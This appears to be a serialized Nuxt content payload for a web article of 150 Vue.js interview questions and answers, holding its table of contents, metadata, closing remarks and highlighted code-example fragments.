}\n",[132,21223,21224],{"class":134,"line":269},[132,21225,3156],{"class":138},[11,21227,21228,21229,21231,21232,21234,21235,21239],{},"A good rule of thumb: reach for ",[18,21230,12978],{}," when you're calling a single API endpoint, and drop down to ",[18,21233,21039],{}," as soon as the fetching logic needs to do more than that. For a closer look at what happens after the server sends that HTML, the ",[23,21236,21238],{"href":21237},"/post/hydration-in-frontend-frameworks","hydration in frontend frameworks"," article covers hydration in more general, framework-agnostic detail.",[29,21241,21243],{"id":21242},"final-thoughts","Final Thoughts",[11,21245,21246,21247,21249],{},"These 150 questions cover the bulk of what Vue interviews actually ask, from template basics to the internals of the compiler and the reactivity system. Do not try to memorize every answer word for word. Instead, build a mental model of how Vue actually works: how a ",[18,21248,1004],{}," becomes reactive, why the Composition API exists, how the compiler skips work it does not need to do. Once that model is solid, you can reason through a question you have never seen before instead of freezing because it does not match a memorized script.",[11,21251,21252],{},"Good luck with your interviews.",[303,21254,21255],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":128,"searchDepth":149,"depth":149,"links":21257},[21258,21274,21304,21334,21349,21373,21385,21396,21413,21423,21440,21454,21466,21481,21497,21505,21514],{"id":31,"depth":149,"text":32,"children":21259},[21260,21261,21262,21264,21266,21267,21269,21270,21272,21273],{"id":36,"depth":176,"text":37},{"id":53,"depth":176,"text":54},{"id":108,"depth":176,"text":21263},"3. What is a Single File Component (.vue file), and what are its three blocks?",{"id":371,"depth":176,"text":21265},"4. How do you create and mount a Vue application (createApp)?",{"id":476,"depth":176,"text":477},{"id":633,"depth":176,"text":21268},"6. What does the Vue template compiler do to your \u003Ctemplate> block?",{"id":732,"depth":176,"text":733},{"id":758,"depth":176,"text":21271},"8. What is \u003Cscript setup>, and why is it now the recommended way to write components?",{"id":986,"depth":176,"text":987},{"id":1073,"depth":176,"text":1074},{"id":1095,"depth":149,"text":1096,"children":21275},[21276,21278,21280,21282,21284,21286,21288,21290,21292,21294,21296,21298,21300,21302],{"id":1099,"depth":176,"text":21277},"11. What is template interpolation (the mustache {{ }} syntax)?",{"id":1174,"depth":176,"text":21279},"12. What is the difference between v-bind and v-on, and what are their shorthand forms?",{"id":1341,"depth":176,"text":21281},"13. What is the difference between v-if and v-show?",{"id":1450,"depth":176,"text":21283},"14. What does v-for do, and why does it need a :key?",{"id":1552,"depth":176,"text":21285},"15. Why is using the array index as a :key in v-for considered risky?",{"id":1718,"depth":176,"text":21287},"16. How do you bind dynamic classes with :class (object and array syntax)?",{"id":1861,"depth":176,"text":21289},"17. How do you bind dynamic inline styles with :style?",{"id":1992,"depth":176,"text":21291},"18. What are event modifiers in Vue (.stop, .prevent, .once, .self, .capture, .passive)?",{"id":2178,"depth":176,"text":21293},"19. What are the built-in v-model modifiers (.lazy, .number, .trim)?",{"id":2329,"depth":176,"text":21295},"20. What does v-bind=\"object\" do (binding a whole object of attributes at once)?",{"id":2507,"depth":176,"text":21297},"21. Can you use v-if and v-for on the same element, and why is it discouraged?",{"id":2820,"depth":176,"text":21299},"22. What is v-once, and when would you use it?",{"id":2874,"depth":176,"text":21301},"23. What is v-pre, and when would you use it?",{"id":2937,"depth":176,"text":21303},"24. What is v-cloak, and is it still relevant in modern Vue?",{"id":3051,"depth":149,"text":3052,"children":21305},[21306,21307,21309,21311,21313,21315,21317,21319,21321,21323,21325,21327,21329,21330,21331,21333],{"id":3055,"depth":176,"text":3056},{"id":3183,"depth":176,"text":21308},"26. What is the difference between ref() and reactive()?",{"id":3361,"depth":176,"text":21310},"27. Why do you need .value to read a ref in a \u003Cscript> block but not in the template?",{"id":3535,"depth":176,"text":21312},"28. How is Vue 3's Proxy-based reactivity different from Vue 2's Object.defineProperty based reactivity?",{"id":3689,"depth":176,"text":21314},"29. What are the limitations of reactive() that make ref() necessary for primitives?",{"id":3795,"depth":176,"text":21316},"30. What happens if you destructure a reactive() object, and how do toRefs fix it?",{"id":4007,"depth":176,"text":21318},"31. What is the difference between toRef and toRefs?",{"id":4134,"depth":176,"text":21320},"32. What does readonly() do, and when would you wrap a value with it?",{"id":4314,"depth":176,"text":21322},"33. What is the difference between shallowRef/shallowReactive and their deep versions?",{"id":4475,"depth":176,"text":21324},"34. What is markRaw(), and when would you use it?",{"id":4589,"depth":176,"text":21326},"35. What do isRef, unref, and toValue do?",{"id":4831,"depth":176,"text":21328},"36. What is nextTick(), and why do you sometimes need it after changing reactive state?",{"id":4998,"depth":176,"text":4999},{"id":5020,"depth":176,"text":5021},{"id":5149,"depth":176,"text":21332},"39. What is effectScope(), and when would you reach for it?",{"id":5337,"depth":176,"text":5338},{"id":5494,"depth":149,"text":5495,"children":21335},[21336,21337,21338,21339,21341,21343,21345,21347],{"id":5498,"depth":176,"text":5499},{"id":5642,"depth":176,"text":5643},{"id":5697,"depth":176,"text":5698},{"id":5928,"depth":176,"text":21340},"44. What is the difference between computed and watch?",{"id":6037,"depth":176,"text":21342},"45. What is the difference between watch and watchEffect?",{"id":6139,"depth":176,"text":21344},"46. What does the deep option do on watch, and when do you actually need it?",{"id":6256,"depth":176,"text":21346},"47. What does the immediate option do on watch?",{"id":6316,"depth":176,"text":21348},"48. How do you clean up a side effect inside watchEffect using its onCleanup callback?",{"id":6484,"depth":149,"text":6485,"children":21350},[21351,21352,21353,21355,21357,21358,21360,21362,21364,21366,21367,21369,21370,21371],{"id":6488,"depth":176,"text":6489},{"id":6654,"depth":176,"text":6655},{"id":6834,"depth":176,"text":21354},"51. How do you use PropType for typing props in the Options API?",{"id":7064,"depth":176,"text":21356},"52. What are custom events, and how do you emit one with defineEmits?",{"id":7244,"depth":176,"text":7245},{"id":7401,"depth":176,"text":21359},"54. How does v-model on a custom component work under the hood?",{"id":7646,"depth":176,"text":21361},"55. How do you support multiple v-model bindings on the same component?",{"id":7863,"depth":176,"text":21363},"56. What is defineModel (Vue 3.4+), and how does it simplify writing v-model support?",{"id":8057,"depth":176,"text":21365},"57. What is $attrs, and what does setting inheritAttrs: false do?",{"id":8235,"depth":176,"text":8236},{"id":8359,"depth":176,"text":21368},"59. What is defineExpose, and why do you need it with \u003Cscript setup>?",{"id":8608,"depth":176,"text":8609},{"id":8760,"depth":176,"text":8761},{"id":8874,"depth":176,"text":21372},"62. What does defineOptions do in \u003Cscript setup>?",{"id":8971,"depth":149,"text":8972,"children":21374},[21375,21376,21377,21378,21379,21380,21382,21383],{"id":8975,"depth":176,"text":8976},{"id":9106,"depth":176,"text":9107},{"id":9306,"depth":176,"text":9307},{"id":9489,"depth":176,"text":9490},{"id":9597,"depth":176,"text":9598},{"id":9653,"depth":176,"text":21381},"68. What is the difference between the modern v-slot/# syntax and the legacy slot/slot-scope syntax?",{"id":9793,"depth":176,"text":9794},{"id":9815,"depth":176,"text":21384},"70. What does useSlots() do, and when would you use it in \u003Cscript setup>?",{"id":10022,"depth":149,"text":10023,"children":21386},[21387,21389,21391,21392,21393,21394],{"id":10026,"depth":176,"text":21388},"71. What is provide/inject, and what problem does it solve?",{"id":10190,"depth":176,"text":21390},"72. Why is it a good idea to use a Symbol as a provide/inject key in larger applications?",{"id":10348,"depth":176,"text":10349},{"id":10541,"depth":176,"text":10542},{"id":10641,"depth":176,"text":10642},{"id":10865,"depth":176,"text":21395},"76. What does useAttrs() do, and when would you use it?",{"id":11061,"depth":149,"text":11062,"children":21397},[21398,21399,21401,21403,21405,21407,21409,21411],{"id":11065,"depth":176,"text":11066},{"id":11244,"depth":176,"text":21400},"78. What is the difference between beforeMount and mounted?",{"id":11426,"depth":176,"text":21402},"79. What is the difference between beforeUpdate and updated?",{"id":11573,"depth":176,"text":21404},"80. What is the difference between beforeUnmount and unmounted?",{"id":11710,"depth":176,"text":21406},"81. How do Composition API lifecycle hooks (onMounted, etc.) differ from Options API lifecycle hooks?",{"id":11853,"depth":176,"text":21408},"82. What lifecycle hooks does \u003CKeepAlive> add, and what are they for?",{"id":11983,"depth":176,"text":21410},"83. What does onErrorCaptured (or the Options API errorCaptured) do?",{"id":12185,"depth":176,"text":21412},"84. Why doesn't the Composition API have beforeCreate or created hooks?",{"id":12310,"depth":149,"text":12311,"children":21414},[21415,21416,21417,21419,21421,21422],{"id":12314,"depth":176,"text":12315},{"id":12343,"depth":176,"text":12344},{"id":12452,"depth":176,"text":21418},"87. What is the setup() function, and what arguments does it receive?",{"id":12610,"depth":176,"text":21420},"88. Why is there no this inside setup() or \u003Cscript setup>?",{"id":12660,"depth":176,"text":12661},{"id":12925,"depth":176,"text":12926},{"id":12995,"depth":149,"text":12996,"children":21424},[21425,21426,21427,21428,21429,21430,21431,21433,21434,21435,21437,21438],{"id":12999,"depth":176,"text":13000},{"id":13228,"depth":176,"text":13229},{"id":13284,"depth":176,"text":13285},{"id":13473,"depth":176,"text":13474},{"id":13557,"depth":176,"text":13558},{"id":13797,"depth":176,"text":13798},{"id":13962,"depth":176,"text":21432},"97. What are navigation guards, and what are the differences between beforeEach, beforeEnter, and beforeRouteLeave?",{"id":14243,"depth":176,"text":14244},{"id":14390,"depth":176,"text":14391},{"id":14492,"depth":176,"text":21436},"100. What is the difference between router.push and router.replace?",{"id":14538,"depth":176,"text":14539},{"id":14676,"depth":176,"text":21439},"102. What is the difference between \u003Crouter-link> and a plain \u003Ca> tag?",{"id":14787,"depth":149,"text":14788,"children":21441},[21442,21443,21444,21445,21446,21447,21448,21449,21450,21451,21452,21453],{"id":14791,"depth":176,"text":14792},{"id":14806,"depth":176,"text":14807},{"id":14975,"depth":176,"text":14976},{"id":15179,"depth":176,"text":15180},{"id":15464,"depth":176,"text":15465},{"id":15491,"depth":176,"text":15492},{"id":15565,"depth":176,"text":15566},{"id":15585,"depth":176,"text":15586},{"id":15731,"depth":176,"text":15732},{"id":15838,"depth":176,"text":15839},{"id":15956,"depth":176,"text":15957},{"id":16212,"depth":176,"text":16213},{"id":16227,"depth":149,"text":16228,"children":21455},[21456,21458,21460,21461,21462,21464],{"id":16231,"depth":176,"text":21457},"115. How does v-model behave differently on a text input, a checkbox, a radio button, and a select?",{"id":16373,"depth":176,"text":21459},"116. How do you bind v-model to a group of checkboxes or radio buttons?",{"id":16697,"depth":176,"text":16698},{"id":16874,"depth":176,"text":16875},{"id":17028,"depth":176,"text":21463},"119. What is the difference between listening to @input and @change on a text field?",{"id":17105,"depth":176,"text":21465},"120. How would you debounce a v-model bound search input?",{"id":17340,"depth":149,"text":17341,"children":21467},[21468,21470,21472,21474,21475,21476,21477,21478,21479,21480],{"id":17344,"depth":176,"text":21469},"121. What is v-memo, and when would you use it?",{"id":17452,"depth":176,"text":21471},"122. What is \u003CKeepAlive>, and how does it improve performance?",{"id":17572,"depth":176,"text":21473},"123. How do you lazy load a component with defineAsyncComponent?",{"id":17714,"depth":176,"text":17715},{"id":17754,"depth":176,"text":17755},{"id":17840,"depth":176,"text":17841},{"id":17871,"depth":176,"text":17872},{"id":17925,"depth":176,"text":17926},{"id":17945,"depth":176,"text":17946},{"id":18141,"depth":176,"text":18142},{"id":18264,"depth":149,"text":18265,"children":21482},[21483,21485,21487,21488,21489,21490,21492,21494,21495,21496],{"id":18268,"depth":176,"text":21484},"131. What is Teleport, and what problem does it solve?",{"id":18431,"depth":176,"text":21486},"132. What is Suspense, and how do you use it with an async setup() or async component?",{"id":18684,"depth":176,"text":18685},{"id":18778,"depth":176,"text":18779},{"id":18797,"depth":176,"text":18798},{"id":18834,"depth":176,"text":21491},"136. What are compiler macros like defineProps and defineEmits, and why don't you need to import them?",{"id":18968,"depth":176,"text":21493},"137. What is app.config.globalProperties, and when would you use it?",{"id":19102,"depth":176,"text":19103},{"id":19403,"depth":176,"text":19404},{"id":19648,"depth":176,"text":19649},{"id":19780,"depth":149,"text":19781,"children":21498},[21499,21501,21502,21503,21504],{"id":19784,"depth":176,"text":21500},"141. What is Vue Test Utils, and what is the difference between mount and shallowMount?",{"id":19905,"depth":176,"text":19906},{"id":20186,"depth":176,"text":20187},{"id":20405,"depth":176,"text":20406},{"id":20666,"depth":176,"text":20667},{"id":20772,"depth":149,"text":20773,"children":21506},[21507,21508,21509,21510,21512],{"id":20776,"depth":176,"text":20777},{"id":20790,"depth":176,"text":20791},{"id":20807,"depth":176,"text":20808},{"id":20927,"depth":176,"text":21511},"149. What is the \u003CClientOnly> component used for?",{"id":21033,"depth":176,"text":21513},"150. What is the difference between Nuxt's useFetch and useAsyncData for data fetching?",{"id":21242,"depth":149,"text":21243},"2026-07-15","A comprehensive, Vue-specific list of 150 interview questions and answers covering the Composition API, reactivity, components, Vue Router, Pinia, performance, and Nuxt, with clear explanations and code examples.",false,"md",null,"top-150-vuejs-interview-questions.png",{},"/frontend/top-150-vuejs-interview-questions",{"title":5,"description":21516},"Frontend/3.top-150-vuejs-interview-questions",[21526,21527,21528,92,21529],"Vue.js","Frontend","Interview Questions","Web Development","U-reZsAmi6AcojdiN0Nysht5mTvpcQAmlSxPH4Kq_tU",[21532,39345,39794,40044,41194],{"id":4,"title":5,"author":6,"body":21533,"date":21515,"description":21516,"draft":21517,"extension":21518,"guide":21519,"image":21520,"meta":39342,"navigation":189,"path":21522,"seo":39343,"stem":21524,"tags":39344,"__hash__":21530},{"type":8,"value":21534,"toc":39157},[21535,21537,21543,21545,21547,21549,21551,21555,21557,21589,21593,21597,21599,21751,21769,21773,21779,21839,21847,21849,21945,21953,21957,21961,21993,21995,22031,22033,22035,22037,22043,22049,22053,22059,22233,22245,22247,22251,22261,22305,22311,22313,22317,22319,22321,22325,22327,22331,22333,22377,22387,22393,22399,22447,22505,22519,22525,22535,22591,22597,22603,22609,22613,22681,22687,22693,22703,22757,22765,22769,22819,22821,22825,22831,22925,22937,22941,22945,23035,23047,23061,23069,23135,23195,23199,23209,23215,23303,23319,23323,23327,23457,23465,23471,23473,23485,23551,23555,23663,23671,23735,23737,23741,23745,23779,23781,23785,23791,23825,23831,23835,23839,23911,23917,23923,23925,23927,23929,23933,23941,24017,24023,24029,24037,24103,24105,24167,24173,24181,24191,24201,24311,24321,24325,24339,24343,24427,24437,24443,24451,24465,24507,24517,24523,24527,24603,24611,24689,24695,24701,24707,24781,24797,24801,24805,24871,24873,24945,24949,24955,24963,24971,25071,25073,25077,25083,25161,25167,25175,25177,25185,25197,25275,25287,25357,25361,25363,25367,25485,25495,25497,25499,25507,25509,25511,25519,25531,25609,25615,25619,25629,25637,25763,25771,25773,25775,25785,25795,25807,25841,25849,25865,25879,25881,25883,25885,25887,26005,26009,26011,26013,26015,26045,26051,26053,26059,26061,26237,26247,26253,26259,26321,26331,26337,26339,26343,26347,26411,26417,26423,26433,26437,26495,26507,26513,26519,26551,26555,26561,26569,26571,26683,26689,26691,26693,26695,26701,26825,26829,26831,26833,26899,26901,26987,26993,26997,27013,27165,27175,27179,27181,27187,27297,27299,27323,27327,27329,27339,27459,27463,27467,27477,27557,27559,27659,27669,27673,27681,27721,27731,27853,27859,27865,27875,27943,27953,27955,28017,28025,28031,28045,28053,28065,28165,28173,28175,28181,28225,28229,28279,28283,28289,28295,28381,28491,28503,28505,28509,28515,28571,28635,28637,28639,28643,28729,28733,28739,28755,28801,28811,28813,28815,28817,28819,28877,28909,28921,28923,28931,28935,29031,29091,29093,29095,29097,29105,29197,29245,29251,29253,29257,29309,29345,29347,29349,29355,29387,29391,29401,29413,29415,29451,29453,29489,29505,29507,29509,29517,29523,29533,29691,29701,29703,29709,29715,29721,29787,29843,29845,29849,29859,29885,29923,29967,29975,29977,29985,30053,30143,30149,30151,30153,30157,30221,30227,30229,30237,30297,30423,30431,30435,30445,30449,30589,30603,30605,30607,30609,30613,30723,30745,30751,30759,30905,30911,30917,30923,31035,31045,31051,31057,31155,31165,31169,31179,31271,31287,31291,31309,31401,31403,31409,31413,31563,31577,31583,31599,31671,31685,31687,31689,31707,31709,31711,31717,31787,31793,31797,31805,31821,31911,31923,31931,31947,31957,31959,31963,32117,32173,32179,32185,32187,32231,32233,32235,32237,32241,32357,32417,32423,32425,32431,32443,32455,32457,32459,32469,32495,32499,32603,32615,32617,32673,32679,32681,32687,32757,32875,32883,32885,32889,32919,32939,32947,32997,33023,33025,33033,33035,33039,33041,33069,33125,33207,33209,33253,33255,33263,33313,33377,33381,33383,33387,33469,33471,33477,33481,33487,33499,33501,33507,33603,33613,33619,33625,33679,33687,33697,33699,33701,33707,33709,33711,33713,33717,33727,33851,33855,33857,33867,33869,34021,34023,34025,34033,34147,34157,34277,34279,34281,34283,34289,34293,34295,34297,34299,34301,34345,34353,34355,34357,34359,34365,34367,34377,34471,34479,34487,34489,34493,34573,34579,34581,34585,34661,34671,34673,34683,34731,34793,34797,34885,34887,34889,34895,34897,34899,34903,34907,34989,35009,35013,35019,35155,35161,35301,35305,35307,35319,35323,35457,35461,35463,35475,35589,35595,35601,35607,35643,35657,35661,35665,35847,35861,35863,35867,35871,35875,35949,35953,35957,35967,35971,36033,36049,36053,36059,36099,36101,36161,36167,36169,36185,36189,36191,36193,36195,36199,36259,36265,36267,36273,36283,36285,36287,36289,36323,36325,36327,36329,36335,36337,36341,36501,36509,36511,36513,36515,36517,36613,36617,36619,36623,36627,36635,36753,36759,36765,36769,36779,36871,36971,36983,36985,36989,36991,37047,37055,37061,37063,37065,37069,37071,37073,37075,37081,37089,37097,37103,37123,37129,37199,37209,37213,37221,37301,37305,37317,37319,37327,37481,37485,37563,37571,37573,37579,37581,37589,37743,37799,37801,37803,37811,37907,37913,37915,37917,37923,37935,37945,38005,38011,38013,38021,38025,38105,38247,38253,38255,38265,38345,38435,38447,38449,38457,38539,38547,38661,38669,38671,38675,38761,38763,38765,38767,38771,38773,38775,38781,38783,38785,38787,38791,38805,38877,38883,38887,38891,38973,38977,38983,38991,38999,39003,39139,39147,39149,39153,39155],[11,21536,13],{},[11,21538,16,21539,21,21541,27],{},[18,21540,20],{},[23,21542,26],{"href":25},[29,21544,32],{"id":31},[34,21546,37],{"id":36},[11,21548,40],{},[11,21550,43],{},[11,21552,46,21553,50],{},[18,21554,49],{},[34,21556,54],{"id":53},[56,21558,21559,21563,21567,21573,21577,21581,21585],{},[59,21560,21561,65],{},[62,21562,64],{},[59,21564,21565,71],{},[62,21566,70],{},[59,21568,21569,77,21571,81],{},[62,21570,76],{},[18,21572,80],{},[59,21574,21575,87],{},[62,21576,86],{},[59,21578,21579,93],{},[62,21580,92],{},[59,21582,21583,99],{},[62,21584,98],{},[59,21586,21587,105],{},[62,21588,104],{},[34,21590,109,21591,112],{"id":108},[18,21592,80],{},[11,21594,115,21595,118],{},[18,21596,80],{},[11,21598,121],{},[123,21600,21601],{"className":125,"code":126,"language":127,"meta":128,"style":128},[18,21602,21603,21611,21629,21637,21641,21651,21661,21665,21681,21685,21693,21699,21703,21711,21715,21725,21731,21739,21743],{"__ignoreMap":128},[132,21604,21605,21607,21609],{"class":134,"line":135},[132,21606,139],{"class":138},[132,21608,143],{"class":142},[132,21610,146],{"class":138},[132,21612,21613,21615,21617,21619,21621,21623,21625,21627],{"class":134,"line":149},[132,21614,152],{"class":138},[132,21616,155],{"class":142},[132,21618,159],{"class":158},[132,21620,162],{"class":138},[132,21622,166],{"class":165},[132,21624,169],{"class":138},[132,21626,155],{"class":142},[132,21628,146],{"class":138},[132,21630,21631,21633,21635],{"class":134,"line":176},[132,21632,179],{"class":138},[132,21634,143],{"class":142},[132,21636,146],{"class":138},[132,21638,21639],{"class":134,"line":186},[132,21640,190],{"emptyLinePlaceholder":189},[132,21642,21643,21645,21647,21649],{"class":134,"line":193},[132,21644,139],{"class":138},[132,21646,198],{"class":142},[132,21648,201],{"class":158},[132,21650,146],{"class":138},[132,21652,21653,21655,21657,21659],{"class":134,"line":206},[132,21654,210],{"class":209},[132,21656,213],{"class":138},[132,21658,216],{"class":209},[132,21660,219],{"class":165},[132,21662,21663],{"class":134,"line":222},[132,21664,190],{"emptyLinePlaceholder":189},[132,21666,21667,21669,21671,21673,21675,21677,21679],{"class":134,"line":227},[132,21668,230],{"class":209},[132,21670,234],{"class":233},[132,21672,237],{"class":209},[132,21674,240],{"class":158},[132,21676,243],{"class":138},[132,21678,246],{"class":233},[132,21680,249],{"class":138},[132,21682,21683],{"class":134,"line":252},[132,21684,190],{"emptyLinePlaceholder":189},[132,21686,21687,21689,21691],{"class":134,"line":257},[132,21688,260],{"class":209},[132,21690,263],{"class":158},[132,21692,266],{"class":138},[132,21694,21695,21697],{"class":134,"line":269},[132,21696,272],{"class":138},[132,21698,275],{"class":209},[132,21700,21701],{"class":134,"line":278},[132,21702,281],{"class":138},[132,21704,21705,21707,21709],{"class":134,"line":284},[132,21706,179],{"class":138},[132,21708,198],{"class":142},[132,21710,146],{"class":138},[132,21712,21713],{"class":134,"line":293},[132,21714,190],{"emptyLinePlaceholder":189},[132,21716,21717,21719,21721,21723],{"class":134,"line":298},[132,21718,139],{"class":138},[132,21720,303],{"class":142},[132,21722,306],{"class":158},[132,21724,146],{"class":138},[132,21726,21727,21729],{"class":134,"line":311},[132,21728,155],{"class":142},[132,21730,316],{"class":138},[132,21732,21733,21735,21737],{"class":134,"line":319},[132,21734,322],{"class":233},[132,21736,325],{"class":138},[132,21738,328],{"class":233},[132,21740,21741],{"class":134,"line":331},[132,21742,281],{"class":138},[132,21744,21745,21747,21749],{"class":134,"line":336},[132,21746,179],{"class":138},[132,21748,303],{"class":142},[132,21750,146],{"class":138},[56,21752,21753,21757,21763],{},[59,21754,21755,350],{},[18,21756,349],{},[59,21758,21759,355,21761,358],{},[18,21760,49],{},[18,21762,20],{},[59,21764,21765,364,21767,368],{},[18,21766,363],{},[18,21768,367],{},[34,21770,372,21771,376],{"id":371},[18,21772,375],{},[11,21774,21775,381,21777,385],{},[18,21776,375],{},[18,21778,384],{},[123,21780,21781],{"className":388,"code":389,"language":390,"meta":128,"style":128},[18,21782,21783,21787,21797,21807,21811,21823,21827],{"__ignoreMap":128},[132,21784,21785],{"class":134,"line":135},[132,21786,398],{"class":397},[132,21788,21789,21791,21793,21795],{"class":134,"line":149},[132,21790,210],{"class":209},[132,21792,405],{"class":138},[132,21794,216],{"class":209},[132,21796,219],{"class":165},[132,21798,21799,21801,21803,21805],{"class":134,"line":176},[132,21800,210],{"class":209},[132,21802,416],{"class":138},[132,21804,216],{"class":209},[132,21806,421],{"class":165},[132,21808,21809],{"class":134,"line":186},[132,21810,190],{"emptyLinePlaceholder":189},[132,21812,21813,21815,21817,21819,21821],{"class":134,"line":193},[132,21814,230],{"class":209},[132,21816,432],{"class":233},[132,21818,237],{"class":209},[132,21820,437],{"class":158},[132,21822,440],{"class":138},[132,21824,21825],{"class":134,"line":206},[132,21826,190],{"emptyLinePlaceholder":189},[132,21828,21829,21831,21833,21835,21837],{"class":134,"line":222},[132,21830,449],{"class":138},[132,21832,452],{"class":158},[132,21834,243],{"class":138},[132,21836,457],{"class":165},[132,21838,249],{"class":138},[11,21840,21841,465,21843,469,21845,473],{},[18,21842,464],{},[18,21844,468],{},[18,21846,472],{},[34,21848,477],{"id":476},[479,21850,21851,21861],{},[482,21852,21853],{},[485,21854,21855,21857,21859],{},[488,21856,490],{},[488,21858,493],{},[488,21860,496],{},[498,21862,21863,21875,21885,21893,21901,21913,21929,21937],{},[485,21864,21865,21867,21871],{},[503,21866,505],{},[503,21868,21869,511],{},[18,21870,510],{},[503,21872,514,21873,518],{},[18,21874,517],{},[485,21876,21877,21879,21881],{},[503,21878,523],{},[503,21880,526],{},[503,21882,529,21883],{},[18,21884,20],{},[485,21886,21887,21889,21891],{},[503,21888,536],{},[503,21890,539],{},[503,21892,542],{},[485,21894,21895,21897,21899],{},[503,21896,547],{},[503,21898,550],{},[503,21900,553],{},[485,21902,21903,21905,21909],{},[503,21904,558],{},[503,21906,21907,564],{},[18,21908,563],{},[503,21910,21911,570],{},[18,21912,569],{},[485,21914,21915,21917,21923],{},[503,21916,575],{},[503,21918,21919,581,21921,585],{},[18,21920,580],{},[18,21922,584],{},[503,21924,588,21925,592,21927],{},[18,21926,591],{},[18,21928,595],{},[485,21930,21931,21933,21935],{},[503,21932,104],{},[503,21934,602],{},[503,21936,605],{},[485,21938,21939,21941,21943],{},[503,21940,610],{},[503,21942,613],{},[503,21944,616],{},[11,21946,619,21947,581,21949,626,21951,630],{},[18,21948,622],{},[18,21950,625],{},[18,21952,629],{},[34,21954,634,21955,637],{"id":633},[18,21956,349],{},[11,21958,640,21959,643],{},[18,21960,349],{},[123,21962,21963],{"className":125,"code":646,"language":127,"meta":128,"style":128},[18,21964,21965,21973,21985],{"__ignoreMap":128},[132,21966,21967,21969,21971],{"class":134,"line":135},[132,21968,139],{"class":138},[132,21970,143],{"class":142},[132,21972,146],{"class":138},[132,21974,21975,21977,21979,21981,21983],{"class":134,"line":149},[132,21976,152],{"class":138},[132,21978,11],{"class":142},[132,21980,665],{"class":138},[132,21982,11],{"class":142},[132,21984,146],{"class":138},[132,21986,21987,21989,21991],{"class":134,"line":176},[132,21988,179],{"class":138},[132,21990,143],{"class":142},[132,21992,146],{"class":138},[11,21994,680],{},[123,21996,21997],{"className":388,"code":683,"language":390,"meta":128,"style":128},[18,21998,21999,22011,22027],{"__ignoreMap":128},[132,22000,22001,22003,22005,22007,22009],{"class":134,"line":135},[132,22002,260],{"class":209},[132,22004,692],{"class":158},[132,22006,243],{"class":138},[132,22008,698],{"class":697},[132,22010,701],{"class":138},[132,22012,22013,22015,22017,22019,22021,22023,22025],{"class":134,"line":149},[132,22014,706],{"class":209},[132,22016,709],{"class":158},[132,22018,243],{"class":138},[132,22020,714],{"class":165},[132,22022,581],{"class":138},[132,22024,719],{"class":233},[132,22026,722],{"class":138},[132,22028,22029],{"class":134,"line":176},[132,22030,281],{"class":138},[11,22032,729],{},[34,22034,733],{"id":732},[11,22036,736],{},[11,22038,739,22039,742,22041,745],{},[18,22040,80],{},[18,22042,349],{},[11,22044,748,22045,751,22047,755],{},[18,22046,143],{},[18,22048,754],{},[34,22050,759,22051,762],{"id":758},[18,22052,20],{},[11,22054,22055,767,22057,770],{},[18,22056,20],{},[18,22058,349],{},[123,22060,22061],{"className":125,"code":773,"language":127,"meta":128,"style":128},[18,22062,22063,22067,22075,22085,22089,22097,22103,22119,22127,22133,22137,22143,22147,22151,22159,22163,22167,22177,22187,22191,22207,22215,22221,22225],{"__ignoreMap":128},[132,22064,22065],{"class":134,"line":135},[132,22066,780],{"class":397},[132,22068,22069,22071,22073],{"class":134,"line":149},[132,22070,139],{"class":138},[132,22072,198],{"class":142},[132,22074,146],{"class":138},[132,22076,22077,22079,22081,22083],{"class":134,"line":176},[132,22078,210],{"class":209},[132,22080,213],{"class":138},[132,22082,216],{"class":209},[132,22084,219],{"class":165},[132,22086,22087],{"class":134,"line":186},[132,22088,190],{"emptyLinePlaceholder":189},[132,22090,22091,22093,22095],{"class":134,"line":193},[132,22092,807],{"class":209},[132,22094,810],{"class":209},[132,22096,316],{"class":138},[132,22098,22099,22101],{"class":134,"line":206},[132,22100,817],{"class":158},[132,22102,266],{"class":138},[132,22104,22105,22107,22109,22111,22113,22115,22117],{"class":134,"line":222},[132,22106,824],{"class":209},[132,22108,234],{"class":233},[132,22110,237],{"class":209},[132,22112,240],{"class":158},[132,22114,243],{"class":138},[132,22116,246],{"class":233},[132,22118,249],{"class":138},[132,22120,22121,22123,22125],{"class":134,"line":227},[132,22122,841],{"class":209},[132,22124,263],{"class":158},[132,22126,266],{"class":138},[132,22128,22129,22131],{"class":134,"line":252},[132,22130,850],{"class":138},[132,22132,275],{"class":209},[132,22134,22135],{"class":134,"line":257},[132,22136,857],{"class":138},[132,22138,22139,22141],{"class":134,"line":269},[132,22140,862],{"class":209},[132,22142,865],{"class":138},[132,22144,22145],{"class":134,"line":278},[132,22146,870],{"class":138},[132,22148,22149],{"class":134,"line":284},[132,22150,281],{"class":138},[132,22152,22153,22155,22157],{"class":134,"line":293},[132,22154,179],{"class":138},[132,22156,198],{"class":142},[132,22158,146],{"class":138},[132,22160,22161],{"class":134,"line":298},[132,22162,190],{"emptyLinePlaceholder":189},[132,22164,22165],{"class":134,"line":311},[132,22166,891],{"class":397},[132,22168,22169,22171,22173,22175],{"class":134,"line":319},[132,22170,139],{"class":138},[132,22172,198],{"class":142},[132,22174,201],{"class":158},[132,22176,146],{"class":138},[132,22178,22179,22181,22183,22185],{"class":134,"line":331},[132,22180,210],{"class":209},[132,22182,213],{"class":138},[132,22184,216],{"class":209},[132,22186,219],{"class":165},[132,22188,22189],{"class":134,"line":336},[132,22190,190],{"emptyLinePlaceholder":189},[132,22192,22193,22195,22197,22199,22201,22203,22205],{"class":134,"line":918},[132,22194,230],{"class":209},[132,22196,234],{"class":233},[132,22198,237],{"class":209},[132,22200,240],{"class":158},[132,22202,243],{"class":138},[132,22204,246],{"class":233},[132,22206,249],{"class":138},[132,22208,22209,22211,22213],{"class":134,"line":935},[132,22210,260],{"class":209},[1